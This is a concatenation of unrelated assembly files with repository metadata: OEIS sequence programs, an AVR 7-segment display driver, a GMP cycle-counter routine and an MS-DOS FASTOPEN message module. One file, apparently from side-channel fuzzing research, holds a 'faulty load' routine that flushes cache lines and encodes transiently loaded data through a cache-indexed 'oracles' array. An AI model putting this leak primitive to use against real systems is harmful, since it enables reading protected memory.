{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 37.680233 | 2,999 | 0.659003 |
2cfd88e03c37242bd9eafb686cacc5fa7db92a17 | 4,146 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_un_/i7-7700_9_0xca_notsx.log_380_20.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_un_/i7-7700_9_0xca_notsx.log_380_20.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_un_/i7-7700_9_0xca_notsx.log_380_20.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rax
push %rcx
lea addresses_D_ht+0x1e6ea, %rcx
add %r14, %r14
mov $0x6162636465666768, %rax
movq %rax, %xmm7
vmovups %ymm7, (%rcx)
nop
nop
sub %r8, %r8
pop %rcx
pop %rax
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_A+0x288a, %r8
nop
nop
nop
inc %rbp
movw $0x5152, (%r8)
nop
nop
nop
sub %rbp, %rbp
// REPMOV
lea addresses_WT+0x1ea6a, %rsi
lea addresses_PSE+0x16c6a, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
and %r9, %r9
mov $53, %rcx
rep movsw
inc %r12
// Store
lea addresses_UC+0x6e6a, %r8
clflush (%r8)
sub $8559, %rcx
mov $0x5152535455565758, %rbp
movq %rbp, (%r8)
and %rbp, %rbp
// Load
lea addresses_PSE+0xdf6a, %rbp
nop
nop
nop
and $36611, %rdi
vmovups (%rbp), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rcx
nop
xor %r12, %r12
// Store
lea addresses_UC+0x13aaa, %r9
nop
nop
nop
nop
nop
xor $30931, %r8
movb $0x51, (%r9)
nop
nop
nop
xor $16929, %r12
// Store
lea addresses_US+0xfdaa, %r9
nop
nop
nop
nop
add $7933, %rcx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm4
movaps %xmm4, (%r9)
nop
nop
nop
and $46978, %rbp
// Store
lea addresses_PSE+0xe15e, %r9
sub $30971, %r8
mov $0x5152535455565758, %rsi
movq %rsi, %xmm3
movups %xmm3, (%r9)
nop
nop
cmp %r9, %r9
// Faulty Load
lea addresses_WC+0x18e6a, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $61700, %r8
vmovntdqa (%rdi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rcx
lea oracles, %r9
and $0xff, %rcx
shlq $12, %rcx
mov (%r9,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_US'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'08': 1, '00': 379}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 26.576923 | 1,139 | 0.646889 |
9fa6aac741b395154fb5323e14c4e2aaedd67d2c | 2,225 | asm | Assembly | main.asm | OleksiyTokarchuk/ATiny12-AVR-Software-Shift-Register-7Segmet-Indicators | 62f8ec1c81df108f34bc5dc6ee7e5b10aeaeff0e | [
"CC0-1.0"
] | null | null | null | main.asm | OleksiyTokarchuk/ATiny12-AVR-Software-Shift-Register-7Segmet-Indicators | 62f8ec1c81df108f34bc5dc6ee7e5b10aeaeff0e | [
"CC0-1.0"
] | null | null | null | main.asm | OleksiyTokarchuk/ATiny12-AVR-Software-Shift-Register-7Segmet-Indicators | 62f8ec1c81df108f34bc5dc6ee7e5b10aeaeff0e | [
"CC0-1.0"
] | null | null | null | ;Author: Oleksiy Tokarchuk
;mail.oleksiy@gmail.com
.def data = r16 ;Software shift register
.def i = r17 ;Register that stores cycle iterator
.def p = r18 ;Pointer to data in table for 7-segment indicators
.def dataout = r19 ;Register that outputs data from shift into IO space
.def tableaddr = r20 ;Register that stores first byte point in table
.equ clock = 0 ;clock pin
.equ cs = 2 ;chip selsct pin
.equ mosi = 1 ;sdout pin
.equ mask = 0b00000010 ;mask where 1 corresponds mosi pin position in PORTx register
.eseg
.cseg
.org 0x00 rjmp RESET
; the best place to access table by single relative address LOW register
table: .db 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, \
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, \
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, \
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, \
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, \
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, \
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, \
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, \
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, \
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99
RESET:
ldi tableaddr, LOW(table * 2)
sbi DDRB, mosi ;data
sbi DDRB, clock ;clock
sbi DDRB, cs ;latch
loop:
clr p
cycle:
rcall print
rcall delay
inc p
cpi p, 99
breq equal
rjmp cycle
equal:
rjmp loop
send: ;Software defined shift register
clr i
cbi PORTB, cs
byte:
cbi PORTB, clock
bst data, 7
bld dataout, mosi
andi dataout, mask
out PORTB, dataout
sbi PORTB, clock
lsl data
inc i
cpi i, 8
brne byte
sbi PORTB, cs
ret
print: ;subroutine that prints data on 7-segmet indicators
add tableaddr, p
mov ZL, tableaddr
lpm
mov data, R0
rcall send
sub tableaddr, p
ret
delay:
ldi r21, 2
ldi r22, 4
ldi r23, 187
Level1:
dec r23
brne Level1
dec r22
brne Level1
dec r21
brne Level1
nop
ret
| 25 | 93 | 0.62427 |
78740d63220509d426cb1543bd7ada1551f9ce4e | 270 | asm | Assembly | programs/oeis/051/A051063.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/051/A051063.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/051/A051063.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A051063: 27*n+9 or 27*n+18.
; 9,18,36,45,63,72,90,99,117,126,144,153,171,180,198,207,225,234,252,261,279,288,306,315,333,342,360,369,387,396,414,423,441,450,468,477,495,504,522,531,549,558,576,585,603,612,630,639,657,666
mul $0,6
mov $1,$0
div $1,4
mul $1,9
add $1,9
| 30 | 192 | 0.681481 |
4f6eb4d41678171b15dfb454f0e2e4d16e44a9fb | 315 | asm | Assembly | oeis/096/A096365.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/096/A096365.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/096/A096365.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A096365: Maximum number of iterations of the RUNS transform needed to reduce any binary sequence of length n to a sequence of length 1.
; 0,2,3,4,5,5,6,6,6,7,7,7,7,8,8,8,8,8,8,8,9
pow $0,2
mov $1,$0
add $0,5
mov $3,$1
mov $1,$0
mul $3,2
mul $3,$0
mul $1,$3
lpb $1
div $1,10
add $2,16
lpe
mov $0,$2
div $0,16
| 17.5 | 137 | 0.638095 |
e7d987a1cdfa3075ff4647859c9108094857f2ea | 406 | asm | Assembly | oeis/014/A014019.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/014/A014019.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/014/A014019.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A014019: Inverse of 10th cyclotomic polynomial.
; 1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0
seq $0,53698 ; a(n) = n^3 + n^2 + n + 1.
seq $0,163812 ; Expansion of (1 - x^5) * (1 - x^6) / ((1 - x) * (1 - x^10)) in powers of x.
| 67.666667 | 221 | 0.495074 |
7df3144158dad0441d91de2306292862ebe52dac | 688 | asm | Assembly | oeis/023/A023949.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/023/A023949.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/023/A023949.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A023949: Expansion of 1/((1-x)(1-6x)(1-7x)(1-8x)).
; Submitted by Jon Maiga
; 1,22,317,3782,40533,405534,3869149,35663254,320292005,2819331086,24426173421,208945416966,1768927681717,14848644708478,123763757447933,1025496480025718,8455062115190469,69418440837750510,567915006063593485,4632023635727886310,37681501586485135061,305855524537283845982,2477826725260700846877,20040439181090281651542,161853977159360963288293,1305579179594994592479694,10520069671074520436900909,84689839197241002337750214,681231055509099248378398965,5475879052374936741433552446
add $0,2
lpb $0
sub $0,1
add $2,2
mul $2,8
sub $2,9
mul $3,7
add $3,$1
mul $1,6
add $1,$2
lpe
mov $0,$3
div $0,7
| 38.222222 | 479 | 0.8125 |
531775431bc754ee2089721b4ee0c95646b80b43 | 499 | asm | Assembly | programs/oeis/198/A198395.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/198/A198395.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/198/A198395.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A198395: Ceiling(n*sqrt(17)).
; 0,5,9,13,17,21,25,29,33,38,42,46,50,54,58,62,66,71,75,79,83,87,91,95,99,104,108,112,116,120,124,128,132,137,141,145,149,153,157,161,165,170,174,178,182,186,190,194,198,203,207,211,215,219,223,227,231,236,240,244,248,252,256,260,264,269,273,277,281,285,289,293,297,301,306,310,314,318,322,326,330,334,339,343,347,351,355,359,363,367,372,376,380,384,388,392,396,400,405,409
mov $1,$0
mul $0,2
pow $1,2
mul $1,16
lpb $1
sub $1,$0
add $0,2
trn $1,1
lpe
div $0,2
| 35.642857 | 373 | 0.683367 |
9202e0642d8fd0f93b027c6f791e15bf81fd03b3 | 360 | asm | Assembly | oeis/021/A021087.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/021/A021087.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/021/A021087.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A021087: Decimal expansion of 1/83.
; Submitted by Jon Maiga
; 0,1,2,0,4,8,1,9,2,7,7,1,0,8,4,3,3,7,3,4,9,3,9,7,5,9,0,3,6,1,4,4,5,7,8,3,1,3,2,5,3,0,1,2,0,4,8,1,9,2,7,7,1,0,8,4,3,3,7,3,4,9,3,9,7,5,9,0,3,6,1,4,4,5,7,8,3,1,3,2,5,3,0,1,2,0,4,8,1,9,2,7,7,1,0,8,4,3,3
add $0,1
mov $3,3
lpb $0
sub $0,1
add $2,$3
div $2,25
mul $3,10
lpe
mov $0,$2
mod $0,10
| 24 | 199 | 0.544444 |
23909d5ec1c937a7f35e6efd833ee54255a2a18a | 1,559 | asm | Assembly | externals/mpir-3.0.0/tune/pentium.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 12 | 2021-09-29T14:50:06.000Z | 2022-03-31T15:01:21.000Z | externals/mpir-3.0.0/tune/pentium.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 15 | 2021-12-24T22:53:49.000Z | 2021-12-25T10:03:13.000Z | LibSource/mpir/tune/pentium.asm | ekzyis/CrypTool-2 | 1af234b4f74486fbfeb3b3c49228cc36533a8c89 | [
"Apache-2.0"
] | 10 | 2021-10-17T19:46:51.000Z | 2022-03-18T02:57:57.000Z | dnl x86 pentium time stamp counter access routine.
dnl Copyright 1999, 2000, 2005 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 2.1 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public
dnl License along with the GNU MP Library; see the file COPYING.LIB. If
dnl not, write to the Free Software Foundation, Inc., 51 Franklin Street,
dnl Fifth Floor, Boston, MA 02110-1301, USA.
include(`../config.m4')
C void speed_cyclecounter (unsigned p[2]);
C
C Get the pentium rdtsc cycle counter, storing the least significant word in
C p[0] and the most significant in p[1].
C
C cpuid is used to serialize execution. On big measurements this won't be
C significant but it may help make small single measurements more accurate.
.text
ALIGN(8)
defframe(PARAM_P,4)
PROLOGUE(speed_cyclecounter)
deflit(`FRAME',0)
pushl %ebx
FRAME_pushl()
xorl %eax, %eax
cpuid
rdtsc
movl PARAM_P, %ebx
movl %eax, (%ebx)
movl %edx, 4(%ebx)
popl %ebx
ret
EPILOGUE()
| 29.980769 | 76 | 0.760744 |
63a7b14d1531586d4f4e3bbd5b52c2689f67baee | 657 | asm | Assembly | programs/oeis/108/A108211.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/108/A108211.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/108/A108211.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A108211: a(n) = 16*n^2 + 1.
; 17,65,145,257,401,577,785,1025,1297,1601,1937,2305,2705,3137,3601,4097,4625,5185,5777,6401,7057,7745,8465,9217,10001,10817,11665,12545,13457,14401,15377,16385,17425,18497,19601,20737,21905,23105,24337,25601,26897,28225,29585,30977,32401,33857,35345,36865,38417,40001,41617,43265,44945,46657,48401,50177,51985,53825,55697,57601,59537,61505,63505,65537,67601,69697,71825,73985,76177,78401,80657,82945,85265,87617,90001,92417,94865,97345,99857,102401,104977,107585,110225,112897,115601,118337,121105,123905,126737,129601,132497,135425,138385,141377,144401,147457,150545,153665,156817,160001
add $0,1
mul $0,4
pow $0,2
add $0,1
| 82.125 | 589 | 0.794521 |
82860487ca3c52927ba3dad53313e89074692dda | 4,617 | asm | Assembly | cmd/fastopen/fastsm.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | cmd/fastopen/fastsm.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | cmd/fastopen/fastsm.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | PAGE 90,132 ;A2
TITLE fastsm.SAL - fastopen SYSTEM MESSAGES
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;****************** START OF SPECIFICATIONS *****************************
; MODULE NAME: fastsm.SAL
; DESCRIPTIVE NAME: Include the DOS system MESSAGE HANDLER in the SEGMENT
; configuration expected by the modules of fastopen.
;FUNCTION: The common code of the DOS SYSTEM MESSAGE HANDLER is made a
; part of the fastopen module by using INCLUDE to bring in the
; common portion, in SYSMSG.INC. This included code contains
; the routines to initialize for message services, to find
; where a particular message is, and to display a message.
; ENTRY POINT: SYSDISPMSG:near
; SYSGETMSG:near
; SYSLOADMSG:near
; INPUT:
; AX = MESSAGE NUMBER
; BX = HANDLE TO DISPLAY TO (-1 means use DOS functions 1-12)
; SI = OFFSET IN ES: OF SUBLIST, OR 0 IF NONE
; CX = NUMBER OF %PARMS, 0 IF NONE
; DX = CLASS IN HIGH BYTE, INPUT FUNCTION IN LOW
; CALL SYSDISPMSG ;DISPLAY THE MESSAGE
; If carry set, extended error already called:
; AX = EXTENDED MESSAGE NUMBER
; BH = ERROR CLASS
; BL = SUGGESTED ACTION
; CH = LOCUS
; _ _ _ _ _ _ _ _ _ _ _ _
; AX = MESSAGE NUMBER
; DH = MESSAGE CLASS (1=DOS EXTENDED ERROR, 2=PARSE ERROR, -1=UTILITY MSG)
; CALL SYSGETMSG ;FIND WHERE A MSG IS
; If carry set, error
; CX = 0, MESSAGE NOT FOUND
; If carry not set, ok, and resulting regs are:
; CX = MESSAGE SIZE
; DS:SI = MESSAGE TEXT
; _ _ _ _ _ _ _ _ _ _ _ _
; CALL SYSLOADMSG ;SET ADDRESSABILITY TO MSGS, CHECK DOS VERSION
; If carry not set:
; CX = SIZE OF MSGS LOADED
; If carry is set, regs preset up for SYSDISPMSG, as:
; AX = ERROR CODE IF CARRY SET
; AX = 1, INCORRECT DOS VERSION
; DH =-1, (Utility msg)
; OR,
; AX = 1, Error loading messages
; DH = 0, (Message manager error)
; BX = STDERR
; CX = NO_REPLACE
; DL = NO_INPUT
; EXIT-NORMAL: CARRY is not set
; EXIT-ERROR: CARRY is set
; Call Get Extended Error for reason code, for SYSDISPMSG and
; SYSGETMSG.
; INTERNAL REFERENCES:
; ROUTINES: (Generated by the MSG_SERVICES macro)
; SYSLOADMSG
; SYSDISPMSG
; SYSGETMSG
; DATA AREAS:
; INCLUDE SYSMSG.INC ;Permit System Message handler definition
;
; EXTERNAL REFERENCES:
; ROUTINES: none
; DATA AREAS: control blocks pointed to by input registers.
; NOTES:
; To assemble these modules, the alphabetical or sequential
; ordering of segments may be used.
; For LINK instructions, refer to the PROLOG of the main module,
; fastopen.asm.
; REVISION HISTORY: A000 Version 4.00: add PARSER, System Message Handler,
;
; COPYRIGHT: "MS DOS FASTOPEN Utility"
; "Version 4.00 (C)Copyright 1988 Microsoft "
; "Licensed Material - Property of Microsoft "
;
;****************** END OF SPECIFICATIONS *****************************
IF1 ; ;AN000;
; %OUT COMPONENT=fastopen, MODULE=fastsm.asm...
ENDIF ; ;AN000;
; = = = = = = = = = = = =
HEADER MACRO TEXT ;; ;AN000;
.XLIST ;;
SUBTTL TEXT
.LIST ;;
PAGE ;; ;AN000;
ENDM ;; ;AN000;
; = = = = = = = = = = = =
INCLUDE SYSMSG.INC ;PERMIT SYSTEM MESSAGE HANDLER DEFINITION ;AN000;
MSG_UTILNAME <fastopen> ;IDENTIFY THE COMPONENT ;AN000;
; = = = = = = = = = = = =
HEADER <DEFINITION OF MESSAGES> ; ;AN000;
CSEG_INIT SEGMENT PARA PUBLIC 'CODE' ;
ASSUME CS:CSEG_INIT ;ESTABLISHED BY CALLER
ASSUME DS:CSEG_INIT ;ESTABLISHED BY CALLER
ASSUME ES:CSEG_INIT ;ESTABLISHED BY CALLER
PUBLIC COPYRIGHT ; ;AN000;
COPYRIGHT DB "MS DOS FASTOPEN Utility " ; ;AN000;
INCLUDE COPYRIGH.INC ; ;AN000;
HEADER <MESSAGE DATA AREAS> ; ;AN000;
MSG_SERVICES <MSGDATA> ;WORKAREAS FOR SYSTEM MESSAGE HANDLER ;AN000;
; = = = = = = = = = = = =
HEADER <SYSTEM MESSAGE HANDLER> ; ;AN000;
